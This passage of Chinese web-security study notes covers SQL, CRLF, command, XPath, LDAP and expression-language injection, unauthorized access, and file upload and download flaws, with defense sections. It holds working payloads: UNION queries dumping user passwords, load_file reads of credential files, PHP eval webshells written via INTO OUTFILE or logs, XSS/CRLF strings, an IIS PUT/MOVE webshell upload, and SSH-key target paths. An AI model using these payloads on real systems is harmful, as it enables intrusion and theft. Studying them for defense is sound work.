MySQL 4版本:MySQL 4版本数据库由于存在着字符转义与不支持字句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似Access的方法进行查询猜解。首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断
MySQL 5版本:MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多,其中存放着其维护的所有数据库的信息
schemata表:提供了当前MySQL中的所有数据库信息
tables表:提供了关于数据库中的表的信息
columns表:提供了所有表中的列信息(字段名)
通过load_file()函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码
通过dumpfile/outfile函数导出获取WebShell
MySQL >5.6版本:多了两个新表,innodb_index_stats 和 innodb_table_stats。这两个表是数据库自动设置的用于记录更改和新创建的数据库和表的信息,但准确的说是保存最近的数据库变动记录
7.1.5.3.2 mysql用户名密码存储位置
密码存放在mysql数据库的user表
采用md5加密
最高权限用户是root
7.1.5.3.3 mysql注入语句
检查注入点:
and 1=1 或 and 1=2
'
查看数据库用户名和版本、库名(dvwa):
猜出字段数:' order by 1,2--+&Submit=Submit#
联合查找:' union select user(),version()--+&Submit=Submit#
获取Mysql所有库:' union select 1,group_concat(schema_name) from information_schema.schemata+--+&Submit=Submit
获取表名(guestbook,users):' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+&Submit=Submit
获取所有user表里面的字段:' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit
- table_name=0x7573657273 不转成十六进制也可以table_name="users"
获取所有字段内容:' union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users+--+&Submit=Submit
获取Webshell:
对服务器文件进行读写操作前提条件:
需要知道远程目录
需要mysql root权限
需要远程目录有写权限
需要数据库开启secure_file_priv,相当于secure_file_priv的值为空,不为空不允许写入webshell(默认不开启,需要修改mysql.ini配置文件,直接在其中添加secure_file_priv=""即可)
获取web路径的方法:' union select 1,load_file(0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)+--+&Submit=Submit 路径记得转化为十六进制
- c:\windows\system32\inetsrv\MetaBase.xml = 0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C
常见的Windows配置文件:
php配置信息:c:/windows/php.ini
MYSQL配置文件记录管理员登陆过的MYSQL用户名和密码:c:/windows/my.ini
存储了mysql.user表中的数据库连接密码:c:\mysql\data\mysql\user.MYD
查看IIS的虚拟主机配置:c:\windows\system32\inetsrv\MetaBase.xml
存储了WINDOWS系统初次安装的密码:d:\APACHE\Apache2\conf\httpd.conf,c:\windows\repair\sam
常见的Linux配置文件:
apache2缺省配置文件:/usr/local/app/apache2/conf/httpd.conf
虚拟网站设置:/usr/local/apache2/conf/httpd.conf,/usr/local/app/apache2/conf/extra/httpd-vhosts.conf
PHP相关设置:/usr/local/app/php5/lib/php.ini
从中得到防火墙规则策略:/etc/sysconfig/iptables
apache配置文件:/etc/httpd/conf/httpd.conf
同步程序配置文件:/etc/rsyncd.conf
mysql的配置文件:/etc/my.cnf
系统版本:/etc/redhat-release
针对3.0.22的RESIN配置文件查看:/usr/local/resin-3.0.22/conf/resin.conf
服务器读取文件:' union select 1,load_file('c:\boot.ini')+--+&Submit=Submit
写webshell获取权限:
union select 搭配 into outfile:' union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\phpStudy\WWW\123.php"+--+&Submit=Submit
lines terminated by:lines terminated by 该语句是设置每行数据结尾的字符,可以设置为单个或多个字符,默认为"/n"
- payload: ?id=1' into outfile 'd:/phpstudy_pro/www/2.php'lines terminated by'<?php eval("$_POST[8]")?>'--+3
lines starting getshell:lines starting getshell该语句为设置每行开头的字符
- payload:?id=1' into outfile 'd:/phpstudy_pro/www/3.php'lines starting by'<?php eval("$_POST[8]")?>'--+
fields terminated getshell:fields terminated by 设置字段之间的分隔符,默认值是"\t"
- payload:?id=1')) into outfile'd:/phpstudy_pro/www/4.php' fields terminated by '<?php eval("$_POST[8]")?>'--+
COLUMNS terminated getshell:COLUMNS terminated by 设置字段之间的分隔符,默认值是"\t"
- payload:?id=1')) into outfile'd:/phpstudy_pro/www/6.php' COLUMNS terminated by'<?php eval("$_POST[4]")?>'--+
数据表getshell:需要将shell内容插入数据表中,在将表内容写成可执行文件,所以要想利用它getshell,一般数据库有堆叠注入或phpmyadmin或有一个数据库的基本权限才能getshell
- payload:id=1';insert into users(username,password) values('<?php eval("','$_POST[2]")?>')--+
日志getshell:
- 开启全局日志配置:payload:?id=1';set global general_log = on;--+
2) 设置日志路径(webshell路径):id=1';set global general_log_file = 'd:/phpStudy_pro/WWW/8.php';--+
- 写入一句话木马:id=1';select '<?php eval("$_POST[2]")?>';--+
7.1.6 注入防御
7.1.6.1 代码层防御
代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御 sql 注入的最佳方法
所有的查询语句都使用数据库提供的参数化查询接口(比如java的 preparedStatement )。参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击
对进入数据库的特殊字符( ' <>&*; 等)进行转义处理,或编码转换。但需要注意二次注入问题
确认每种数据的类型,比如数字型的数据就必须是数字,在后端层面可以对用户输入的数据进行int强转,舍弃其他除数字以外的部分,数据库中的存储字段必须对应为 int 型
数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行
网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过,宽字节注入
严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害
避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断
7.1.6.2 WAF设备防御
- 通过WAF设备启用防SQL Inject策略
7.1.6.3 数据库权限管理
使用最小权限原则
避免Web应用直接使用root、dbowner 等高权限账户直接连接数据库
如果有多个不同的应用在使用同一个数据库,也应该为每个应用分配不同的账户
Web应用使用的数据库账户,不应该有创建自定义函数、操作本地文件的权限
7.1.6.4 PDO预处理或预编译SQL语句
7.1.6.4.1 PDO预处理
- 没有进行PDO预处理的SQL,在输入SQL语句进行执行的时候,web服务器自己拼凑SQL的时候有可能会把危险的SQL语句拼凑进去。但如果进行了PDO预处理的SQL,会让MySQL自己进行拼凑,就算夹带了危险的SQL语句,也不会进行处理只会当成参数传进去,而不是以拼接SQL语句传进去,从而防止了SQL注入
7.1.6.4.2 预编译
简介预编译的由来:由于数据库在接收到SQL语句后,会对其进行词法和语义解析、优化SQL语句、制定执行计划,这些都要花费一些时间。而且一条SQL语句经常会被反复使用(由于个别值得不同,比如query的where子句值不同,update的set子句值不同,Insert的values值不同),所以就有了预编译。预编译就是将这类语句中的值用占位符"?"替代,一次编译多次运行
预编译原理:预编译的语句被DB的编译器编译后的执行代码缓存下来,这样下次调用相同的预编译的语句,只需要参数直接传入编译过得语句执行代码中(相当于一个函数)就会得到执行,而不需要再次编译。并不是所有编译的语句都一定会被缓存,数据库本身会有一种策略去决定(内部机制)
预编译的作用:
预编译阶段可以优化 sql 的执行:预编译之后的 sql 多数情况下可以直接执行,DBMS 不需要再次编译,越复杂的sql,编译的复杂度将越大,预编译阶段可以合并多次操作为一个操作。可以提升性能
防止SQL注入:使用预编译,而其后注入的参数将不会再进行SQL编译。也就是说其后注入进来的参数系统将不会认为它会是一条SQL语句,而默认其是一个参数,参数中的or或者and 等就不是SQL语法保留字了
开启预编译:
数据库是否默认开启预编译和JDBC版本有关
也可以配置jdbc链接时强制开启预编译和缓存:useServerPrepStmts和cachePrepStmts参数。预编译和预编译缓存一定要同时开启或同时关闭。否则会影响执行效率
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/prepare_stmt_test?user=root&password=root&useServerPrepStmts=true&cachePrepStmts=true");
mysql的预编译:
开启了预编译缓存后,connection之间,预编译的结果是独立的,是无法共享的,一个connection无法得到另外一个connection的预编译缓存结果
经过试验,mysql的预编译功能对性能影响不大,但在jdbc中使用PreparedStatement是必要的,可以有效地防止sql注入
相同PreparedStatement的对象 ,可以不用开启预编译缓存
代码实现:
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/prepare_stmt_test?user=root&password=root&useServerPrepStmts=true"); String sql = " select * from users where name = ? ;"; PreparedStatement stmt = conn.prepareStatement(sql); stmt.setString(1, "aaa"); ResultSet rs1 = stmt.executeQuery();//第一次执行 s1.close(); stmt.setString(1, "ddd"); ResultSet rs2 = stmt.executeQuery();//第二次执行 rs2.close(); stmt.close(); //查看mysql日志 //1 Prepare select * from users where name = ? //1 Execute select * from users where name = 'aaa' //1 Execute select * from users where name = 'ddd'要注意,使用PreparedStatement时必须使用占位符"?";因为预编译的原理就是在替代的参数两边默认加引号'',同时对用户非法输入的单引号加上反斜杠转义
example:
String a = "a";
String b = "'b'";
String sql = " select * from users where name = ? ;";
预编译后语句为:
select * from user where name = 'a';
select * from user where name = ''b'';
7.2 伪静态与Cookies
7.2.1 Cookie注入
前提:接受用户参数的地方是request并且未对cookie进行防范
原理:当我们打开get或post页面的时候,发现有注入防范,可以把get或post参数写入到cookie里面进行测试注入,有的时候程序未对cookie注入进行防范
7.2.2 伪静态
一般是中间件加载了伪静态插件代码,其实不是真正的静态页面
如:www.oldboyedu.com/zuixin_wenzhang/index/id/523 可写成 www.oldboyedu.com/zuixin_wenzhang/index?id=523
7.3 注入攻击概述
7.3.1 注入攻击的本质
- 把用户输入的数据当做代码执行
7.3.2 注入攻击的关键条件
*
- 用户能够控制输入
*
- 原本程序要执行的代码,拼接了用户输入的数据
- 在对抗注入攻击的时候,只要牢记"数据域代码分离原则",在拼凑发生的地方进行安全检查,就能避免此类安全问题
7.4 CRLF注入
7.4.1 简介
- CRLF实际上是两个字符:CR(Carriage Return 也就是回车\r),LF(Line Feed 也就是换行 \n),\r\n这两个字符是用于表示换行的,其十六进制编码分别为 0x0d 、0x0a
7.4.2 原理
- 由于在HTTP协议中,HTTP Header 与 HTTP Body 试算通过两个CRLF分隔的,浏览器根据这两个CRLF来取出HTTP内容并显示出来。所以如果用户可以控制HTTP消息头的字符,注入一些恶意的换行,这样我们就可以注入一些会话Cookie或者HTML代码
7.4.3 危害
Cookie会话固定漏洞
反射型XSS(可过waf)
7.4.4 挖掘方法
7.4.4.1 挖掘思路
漏洞注入点主要在重定向或者跳转的地方
CRLF注入漏洞的本质和XSS有点相似,攻击者将恶意数据发送给易受攻击的Web应用程序,Web应用程序将恶意数据输出在HTTP响应头中。(XSS一般输出在主体中)所以CRLF注入漏洞的挖掘和XSS差不多。通过修改HTTP参数或URL,注入恶意的CRLF,查看构造的恶意数据是否在响应头中输出
7.4.4.2 挖掘步骤
*
- 观察输出是否在返回头中,查看输入,可能是在URL值和参数、cookie头中。在过往的挖掘过程中,最常见的两种情况是使用输入参数Set-Cookie和302跳转location处
*
- 提交%0d%0a字符,验证服务器是否响应%0d%0a,若过滤可以通过双重编码绕过
*
- 漏洞利用,使杀伤最大化,将漏洞转化为HTML注入,XSS,缓存等
7.4.4.3 前提条件
Set-Cookie中的内容用户可以控制
302跳转的Location地址用户可以控制
其他自定义Header用户可以控制
7.4.5 payload
7.4.5.1 探测漏洞payload
%0d%0aheader:header
%0aheader:header
%0dheader:header
%23%0dheader:header
%3f%0dheader:header
/%250aheader:header
/%250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header
/%u000aheader:header
7.4.5.2 开放重定向payload
- /www.google.com/%2f%2e%2e%0d%0aheader:header
7.4.5.3 XSS payload
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20οnlοad=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e
XSS绕过:%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/script%3e
7.4.5.4 Location payload
- %0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E
7.4.6 防御方法
要避免http响应截断,需要注意以下几点:
对用户的数据进行合法性校验,对特殊的字符进行编码,如<、>、'、"、CR、LF、等,限制用户输入CR和LF,或者对CR和LF正确编码后再输出,以防止注入自定义HTTP头
创建安全字符白名单,只接收白名单中的字符出现再HTTP响应头文件中
在将数据传送到http响应头之前,删除所有的换行符
7.5 命令注入
7.5.1 简介
命令注入(Command Injection)是一种攻击方式,攻击者通过将恶意命令插入到正常的命令或语句中,从而在服务器上执行任意命令。这种漏洞通常发生在应用程序将用户输入的数据作为系统命令的一部分执行时,而没有进行充分的过滤和验证。
7.5.2 原理
当应用程序需要调用系统命令来完成某些功能时,可能会将用户输入的数据作为命令参数的一部分。如果这些用户输入没有被正确地过滤,攻击者就可以插入额外的命令或修改原有命令,导致执行恶意命令。
例如,一个Web应用程序有一个功能,允许用户通过输入IP地址来执行ping命令:
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);
如果用户输入127.0.0.1; ls -la,那么实际执行的命令将是:
ping -c 4 127.0.0.1; ls -la
这样,除了执行ping命令,还会执行ls -la命令,列出当前目录的文件。
7.5.3 命令注入的常见场景
系统命令执行函数:如PHP中的
system()、exec()、shell_exec()、passthru()等。程序调用:如调用Perl、Python、Ruby等脚本时,将用户输入作为参数传递。
数据库操作:某些数据库允许执行系统命令,如MSSQL的
xp_cmdshell。文件操作:如解压缩、文件转换等。
7.5.4 命令注入的利用方式
使用分号(;):在Unix系统中,分号用于分隔多个命令。
使用管道(|):将前一个命令的输出作为后一个命令的输入。
使用重定向(>、<):重定向输入输出。
使用反引号(`)或$():执行子命令。
使用逻辑运算符(&&、||):根据前一个命令的执行结果决定是否执行后一个命令。
使用换行符(%0a):在URL编码中,换行符可以用于分隔命令。
7.5.5 命令注入的防御
尽量避免使用系统命令执行函数,如果必须使用,应确保对用户输入进行严格的过滤。
使用白名单机制,只允许特定的字符或模式。
对用户输入进行转义,使用专门的函数(如
escapeshellarg()、escapeshellcmd())来处理。使用最小权限原则,运行Web服务器的用户权限应尽可能低,避免使用root权限。
在输入验证时,不要只依赖黑名单,因为黑名单很容易被绕过。
7.6 XPath注入
7.6.1 简介
XPath注入类似于SQL注入,当应用程序使用用户输入来构造XPath查询XML数据时,如果用户输入没有被正确过滤,攻击者就可以修改XPath查询的逻辑,从而绕过认证或获取敏感数据。
7.6.2 原理
XPath是一种用于在XML文档中查找信息的语言。如果应用程序将用户输入直接拼接到XPath查询中,攻击者就可以构造恶意输入来改变查询的语义。
例如,一个登录验证的XPath查询可能是:
//user[username='$username' and password='$password']
如果用户输入用户名admin' or '1'='1,密码任意,那么查询变为:
//user[username='admin' or '1'='1' and password='any']
由于'1'='1'始终为真,因此这个查询会返回第一个用户节点,可能绕过认证。
7.6.3 XPath注入的利用
绕过认证:通过构造恒真条件,使查询返回结果。
获取数据:通过构造条件,逐字符提取XML文档中的数据。
7.6.4 防御方法
对用户输入进行过滤,避免特殊字符(如引号、等号、括号等)的直接使用。
使用参数化XPath查询,类似于SQL的参数化查询。
使用白名单验证用户输入。
7.7 LDAP注入
7.7.1 简介
LDAP(轻量级目录访问协议)注入是一种攻击技术,攻击者通过构造恶意的LDAP查询语句来绕过安全控制,如认证、授权,或者获取敏感信息。
7.7.2 原理
当应用程序将用户输入直接拼接到LDAP查询中时,攻击者可以插入特殊的LDAP元字符来改变查询的含义。
例如,一个登录查询可能是:
(&(username=$username)(password=$password))
如果用户输入用户名*,密码*,那么查询变为:
(&(username=*)(password=*))
这个查询会匹配所有用户,因此可能返回第一个用户,从而绕过认证。
7.7.3 LDAP注入的利用
绕过认证:使用通配符(*)或逻辑运算符(&、|)来修改查询条件。
信息泄露:通过构造查询,获取目录中的敏感信息。
7.7.4 防御方法
对用户输入进行过滤,移除或转义LDAP元字符(如
*、(、)、&、|等)。使用框架提供的安全API来构建LDAP查询,避免直接拼接。
7.8 表达式语言注入
7.8.1 简介
表达式语言(EL)注入通常发生在使用表达式语言的Web框架中,如Java Server Faces(JSF)和Spring表达式语言(SpEL)。攻击者通过将恶意表达式注入到应用程序中,从而在服务器端执行任意代码。
7.8.2 原理
如果应用程序将用户输入直接作为表达式求值,攻击者就可以构造恶意表达式来执行系统命令、访问敏感数据等。
例如,一个使用SpEL的应用程序可能这样使用用户输入:
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(userInput);
Object value = exp.getValue();
如果用户输入是T(java.lang.Runtime).getRuntime().exec('calc'),则会在服务器上打开计算器。
7.8.3 防御方法
避免将用户输入直接作为表达式求值。
如果必须使用,应严格限制表达式的功能,例如使用SimpleEvaluationContext而不是StandardEvaluationContext(在SpEL中)。
对用户输入进行严格的过滤。
7.9 总结
本章介绍了多种注入攻击,包括SQL注入、命令注入、XPath注入、LDAP注入和表达式语言注入。这些攻击的共同点都是将用户输入作为代码的一部分执行。防御注入攻击的关键在于将数据与代码分离,对用户输入进行严格的过滤和验证,使用参数化查询和安全API,以及遵循最小权限原则。
在接下来的章节中,我们将学习其他类型的Web安全漏洞。
八、访问控制
8.1 概念
"权限控制" 的问题都可以归结为"访问控制"的问题
"权限控制"或者说是"访问控制",广泛地存在于各个系统中。抽象地说,都是某个主体(subject)对某个客体(object)需要实施某种操作(operation),而系统对这种操作的限制就是权限控制
8.2 访问控制失效的危害
8.2.1 未授权
概念:未授权访问漏洞 可以理解为 需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问,从而引发重要权限可被操作、数据库或者网站等敏感信息泄露。
8.2.1.1 Redis未授权
漏洞简介:Redis是一个数据库,默认端口号:6379,Redis默认没有密码验证,也已免密操作,攻击者可以通过操作Redis进一步控制服务器。
Redis未授权访问在4.x/5.0.5以前版本下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
漏洞检测:
- kali卡装redis-cli 远程连接工具
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
cp src/redis-cli /usr/bin/
redis-cli -h
使用 redis-cli 命令直接远程免密登录 Redis 主机
redis-cli -h 目标主机IP
漏洞修复:
禁止使用root权限启动redis服务;
对redis访问启动密码认证;
添加IP访问限制,并更改默认6379端口;
8.2.1.2 Weblogic未授权访问
漏洞简介
- Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令
漏洞检测
使用 vulhub 搭建漏洞演示环境
- cd vulhub/weblogic/CVE-2020-14882 sudo docker-compose up -d
攻击者可以构造特殊请求的URL,即可未授权访问管理后台页面
- http://192.168.126.130:7001/console/css/%252e%252e%252fconsole.portal
远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码
漏洞修复
- 下载补丁程序并安装更新
8.2.2 越权
定义:如果使用A用户的权限操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称为越权操作。
为什么:
后台使用了不合理的权限校验规则导致的
当用户对权限页面的信息进行这些操作时,后台需要对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞
常见位置:
- 一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的地方。
九、文件上传与文件下载
9.1 文件上传
9.1.1 简介
成因:由于网站没有严格限制文件上传格式,从而导致可上传任意的文件格式,特别是脚本木马(Webshell)到服务器上,最终得到服务器的控制权限
详解文章:文件上传漏洞详解-CSDN博客
9.1.2 常见上传点
上传附件
上传头像
上传相册
添加文章图片
前台留言资料上传
编辑器文件上传
9.1.3 常见的检测及绕过方式
9.1.3.1 客户端javascript检测(通常为检测文件扩展名)
- 上传一个允许的文件,通过抓包修改文件后缀绕过
9.1.3.2 服务端MIME类型检测 (检测文件类型)
MIME介绍
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
比如浏览器的 MIME Sniff 功能就是通过读取文件的前256个字节,来判断文件的类型的
每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。
常见MIME类型
超文本标记语言文本 .html text/html
xml文档 .xml text/xml
XHTML文档 .xhtml application/xhtml+xml
普通文本 .txt text/plain
PDF文档 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
MPEG文件 .mpg,.mpeg video/mpeg
任意的二进制数据 application/octet-stream
绕过方法
上传一个允许的类型,修改filename为脚本名称,将webshell写入请求体绕过
方法一:直接伪造头部GIF89A
方法二:CMD方法,copy /b test.png+1.php muma.png
方法三:直接使用工具增加备注写入一句话木马
9.1.3.3 服务端文件扩展名检测
黑名单
文件名大小写绕过,如PhP,AsP
- 或使用黑名单里没有的名单,如cer
白名单
- 通过利用解析漏洞或使用长文件名进行检测绕过
0x00截断
原理
- 在C、PHP等语言的常用字符串处理函数中,0x00被认为是终止符。
payload
- 受此影响的Web应用和一些服务器,可以通过构造文件名为 test.php[\0].jpg(POST 包中修改,其中 [\0] 为16进制的0x00字符) .jpg 绕过了应用的上传文件类型判断,但对于服务器来说,此文件因为 0 字节的截断,最终变成了 test.php
代码解析
- name = getname(http request) //假如这时候获取到的文件名是test.asp .jpg(asp 后面为0x00) type = gettype(name) //而在gettype()函数里处理方式是从后往前扫描扩展名,所以判断为jpg if (type == jpg) SaveFileToPath(UploadPath.name, name) //但在这里却是以0x00 作为文件名截断 //最后以test.asp 存入路径里
.htaccecc文件,修改该文件配置内容可设定指定目录下的文件解析成指写的格式
该文件解析漏洞需要拿到服务器权限之后才能更改,一般常用于留后门使用。
如果说在Apache中 “.htaccess"可被执行,且可被上传,那么就可以尝试在”.htaccess"中写入:
“<FilesMatch “xxx.jpx”>SetHandler aplication/x-httpd-php </FilesMatch>”
然后再上传shell.jpg的木马,这样shell.jpg就会被解析为php文件
把文件名改成test.asp. 或test.asp_(下划线为空格)
- 这种命名方式在windows 系统里是不被允许的,所以需要在burp 之类里进行修改,然后绕过验证后,会被windows 系统自动去掉后面的点和空格,但要注意Unix/Linux 系统没有这个特性。
:$DATA绕过
- 是Windows下NTFS文件系统的一个特性,即NTFS文件系统的存储数据流的一个属性 DATA 时,就是请求 a.asp 本身的数据,如果a.asp 还包含了其他的数据流,比如 a.asp:lake2.asp,请求 a.asp:lake2.asp::$DATA,则是请求a.asp中的流数据lake2.asp的流数据内容。
9.1.3.4 服务端文件内容检测 (检测内容是否合法或含有恶意代码)
- 将恶意代码加密上传绕过
9.1.3.5 web应用程序解析
9.1.3.5.1 Apache解析漏洞
原因
在 Apache 1.x 2.x 中存在文件解析问题 Apache 对于文件名的解析是从后往前解析的,直到遇到一个Apache认识的文件类型为止
Apache 是通过 Apache 的 mime.types 文件中定义的文件类型判断的
payload
test.php.rar.rar
因为Apache不认识 rar 这个文件类型,所以他会一直遍历到后缀 .php ,然后认为这是一个 php 文件,从而导致脚本文件被执行
9.1.3.5.2 IIS解析漏洞
解析问题
分号截断
原因
- IIS 6 和 Windows环境下在处理文件解析时,也出过类似00截断的问题,只不过截断字符变成了分号";"
payload
adc.asp;xx.jpg
IIS 6 会将此文件解析为 abc.asp ,后边的 xx.jpg 被截断了,从而导致脚本被执行
*.asp目录解析
原因
- 因为处理文件夹扩展名出错,导致将 /*.asp/ 目录下的所有文件都当作 ASP 文件进行解析
payload
http://www.test.com/path/app.asp/abc.jpg
这里的 abc.jpg 虽然是 jpg 文件,但却会被当作 ASP 文件进行解析
注意,这两个IIS漏洞,都需要在服务器本地的硬盘上确实存在这样的文件或文件夹,如果只是通过 Web 应用映射出来的 URL,则无法触发
配置问题
简介
- 在很多Web Server 中,默认都禁用了 PUT 方法,或者对能够上传的文件类型做了严格的限制。 但在IIS中,如果目录支持写权限,同时开启了 WebDav ,则会支持PUT方法,在结合 MOVE 方法,就能将原本只允许上传文本文件改写成脚本文件,从而执行 Webshell。 其中,MOVE 能否执行成功,取决于IIS服务器是否勾选了"脚本资源访问"复选框
前提
IIS 中目录支持写权限
开启了 WebDav
IIS服务器勾选了 "脚本资源访问" 复选框
利用方法
通过 OPTIONS 探测服务器支持的方法
上传包含恶意脚本的文本文件
- PUT /test.txt HTTP/1.1 Host: www.test.com <%eval(request("cmd"))%>
通过 MOVE 改文件名
- MOVE /test.txt HTTP/1.1 Host: www.test.com Destination: http://www.test.com/path/shell.asp
9.1.3.5.3 Nginx解析漏洞
原因
Nginx 配置 fastcgi 使用PHP时,会存在文件解析问题
出现这个漏洞的原因与 "在 fastcgi 方式下,PHP 获取环境变量的方式有关" PHP 的配置文件中有一个关键选项:cgi.fix_pathinfo = 1,默认是开启的。在映射URI时,将递归查询路径确认文件的合法性,notexist.php 不存在时,将往前递归查询路径,这个功能原本是想解决 /info.php/test 这种 URL 能够正确解析到 info.php 上,此时 SCRIPT_FILENAME 需要检查文件是否存在,所以会是 /path/test.jpg ;而 PATH_INFO 此时还是 notexist.php,在最终执行的时候,test.jpg 会被当作 PHP 进行解析。
payload
http://www.test.com/path/test.jpg/notexist.php
其中 notexist.php 并不存在,如果在任何配置为 fastcgi 的PHP 应用里上传一张图片,其图片内容是 PHP 文件,则会导致代码执行。其他可以上传的合法文件如文本文件、压缩文件等情况类似
不回显文件保存路径的利用思路
1. 尝试暴破敏感文件,看是否存在信息泄露,如果可以找到源码,就直接进行代码审计,查看是否可以找到文件上传的路径
2. 爆破目录,看是否存在类似 /uploads 或 /image 之类的目录,然后根据一些已知的信息,如:html页面的名字,构造路径进行暴破,如果暴破发现是403错误,那可能这个目录是存在的。之后尝试猜解上传后的文件名(一般文件上传之后都会修改文件名,如果没有那就省事了,如果原文件名返回404那多半是重命名了)
常用的文件名类型
随机字符串
- 这种类型如果没有已知文件名的话是没有办法猜的
时间戳类型
- 直接以“时间戳+序号.jpg”命名 (1631868676001.jpg)
yymmddHHmm类型
- powershell -c Get-Date -Format yyyyMMddHHmm 生成当前时间序号,之后使用BP暴破就行
3. 通过程序报错,把路径爆出来
union select 1,2,hex(load_file("D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-1\\index")) -- -
现在大多数站点都会使用站库分离的方案,文件系统和服务系统分开存储,或者直接使用第三方的文件存储系统,阿里云、腾讯云、七牛云都有这方面的服务。站库分离的拿到文件系统地址没有太大作用,使用第三方的一般防护做的都很好,普通新手很难绕过
安全防范
最有效的,将文件上传目录直接设置为不可执行,对于Linux而言,撤销其目录的'x'权限;实际中很多大型网站的上传应用都会放置在独立的存储上作为静态文件处理,一是方便使用缓存加速降低能耗,二是杜绝了脚本执行的可能性;
文件类型检查:强烈推荐白名单方式,结合MIME Type、后缀检查等方式(即只允许允许的文件类型进行上传);此外对于图片的处理可以使用压缩函数或resize函数,处理图片的同时破坏其包含的HTML代码;
使用随机数改写文件名和文件路径,使得用户不能轻易访问自己上传的文件;
单独设置文件服务器的域名; 由于浏览器同源策略的关系,一系列客户端攻击将失效
9.2 文件下载
9.2.1 漏洞介绍
一般网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞
9.2.2 存在的位置
9.2.2.1 一般链接形式
download.php?path=
down.php?file=
data.php?file=
download.php?filename=
9.2.2.2 包含参数
&src=
&inputfile=
&filepath=
&path=
&data=
9.2.3 利用思路
1. 下载常规的配置文件,如:ssh/weblogic/ftp/mysql 等相关配置
2. 下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方,如果运气好,还可以找到前辈留下的后门
3. 下载web业务文件进行白盒审计,利用漏洞进一步攻入服务器 尝试读取/root/.bash_hitory 看自己是否具有root权限。
如果没有就只能按部就班的利用 ../ 来回跳转读取一些 .ssh 下的配置信息文件,读取 mysql 下的 .bash_history 文件。来查看是否记录了一些可以利用的相关信息。然后逐个下载我们需要审计的代码文件,但是下载的时候变得很繁琐,我们只能尝试去猜解目录,然后下载一些中间件的记录日志进行分析。
如果我们遇到的是java+oracle环境, 可以先下载 /WEB-INF/classees/applicationContext.xml 文件,这里面记载的是web服务器的相应配置,然后下载 /WEB-INF/classes/xxx/xxx/ccc.class 对文件进行反编译,然后搜索文件中的 upload 关键字看是否存在一些 api 接口,如果存在的话我们可以本地构造上传页面用 api 接口将我们的文件传输进服务器
如果具有 root 权限 在linux中可以使用 locate 命令来查找文件或目录,它不搜索具体目录,而是搜索一个数据库 /var/lib/mlocate/mlocate.db。这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且每天自动更新一次。当我们不知道路径是什么的情况下,这个可以说是个核武器了,我们利用任意文件下载漏洞 mlocate.db 文件下载下来,利用 locate 命令将数据输出成文件,这里面包含了全部的文件路径信息。 locate 读取方法:locate mlocate.db admin //可以将 mlocate.db 中包含 admin 文件名的内容全部输出来
9.2.4 常见利用路径
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
